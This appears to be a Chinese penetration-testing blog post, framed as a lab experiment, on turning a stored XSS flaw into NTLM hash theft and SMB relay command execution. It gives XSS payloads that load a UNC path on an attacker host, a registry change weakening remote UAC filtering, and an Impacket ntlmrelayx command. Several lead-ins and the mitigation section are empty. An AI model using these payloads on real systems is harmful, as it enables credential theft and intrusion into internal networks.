某日,某位小伙伴在微信上发我一个问题,如何利用已知的存储型XSS漏洞在后渗透测试中扩大战果,如RCE?想来这是个很值得思考的一个问题,故有此文。
首先分析一下问题的题干:
首先整理一下可能的思路:
思路一的利用成本较高尤其是当下的浏览器想找到一个好用的RCE漏洞不是难么容易,放弃!
思路二的利用局限性很大,尤其是IE的ActiveX功能由于安全性问题默认都是Disable的,放弃!
那么现在就剩下思路三了,当然这也是今天这篇文章想要重点探讨的一个方法。
众所周知,在内网渗透里的一个常见步骤就是获取内网中主机的NTLMhash,从而用来离线破解可能的弱密码或者利用Pass The Hash攻击,其实还有种方法是SMB Relay,相关的利用文章有很多,具体可以参考如下,这里就不在赘述。
那么如何通过XSS来获得NTLMhash呢?
其实原理很简单,Windows系统上只要某个应用可以访问UNC路径下的资源,系统就会默认发送NTLMhash至UNC服务器,比如如下可行的方法:
因此我们可以使用下面例子来通过XSS获取NTLMhash:
<img src="\\\\<attacker ip>\\smbrelay">
Or
<script src="\\\\<attacker ip>\\smbrelay"/>
然后,我们可以设置好SMB Relay的监听工具并插入上述的XSS payload进入目标服务里,一旦管理员或者任何内网中的用户访问目标服务,XSS payload就会被执行并将该用户的Windows系统的NTLMhash发送至我们的监听服务器。
最后,通过SMB Relay工具利用获取到的NTLMhash对内网的其他主机发起攻击并可能远程执行任意命令从而最终获得系统控制权。
有了上面的理论分析,接下来就是实验论证可行性了。
准备如下实验机器:
实验前提:
主机C可以远程访问主机A和B的administrative share(即admin$和C$)
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1
实验步骤:
一 在攻击机D上下载并安装Impacket中的ntlmrelayx脚本,并开启监听如下:
python ntlmrelayx.py -tf targets.txt -c hostname > ~/smbrelay.txt
targets.txt:
10.0.0.5
10.0.0.6
10.0.0.8
二 插入如下XSS payload并在受害者主机C上打开存在XSS漏洞的页面,实验中以DVWA为例
<script src="\\\\10.0.0.7\\smbrelay">
三 此时,攻击机D上便可以看到我们已经成功地在主机A和B上执行了系统命令并返回了各自的主机名,如下:
总结一下这里的利用思路:
实战中的意义:
其实对于工作组中的主机利用的条件相对比较苛刻,首先你得需要受害者可以访问内网中目标主机的administrative share,且目标主机关闭了UAC并保持了默认的组策略配置;对于域中的主机,需要受害者正在以域管理员账户登陆主机,如果这种情况下的话利用成本将会大大降低且危害很大。
减轻方法: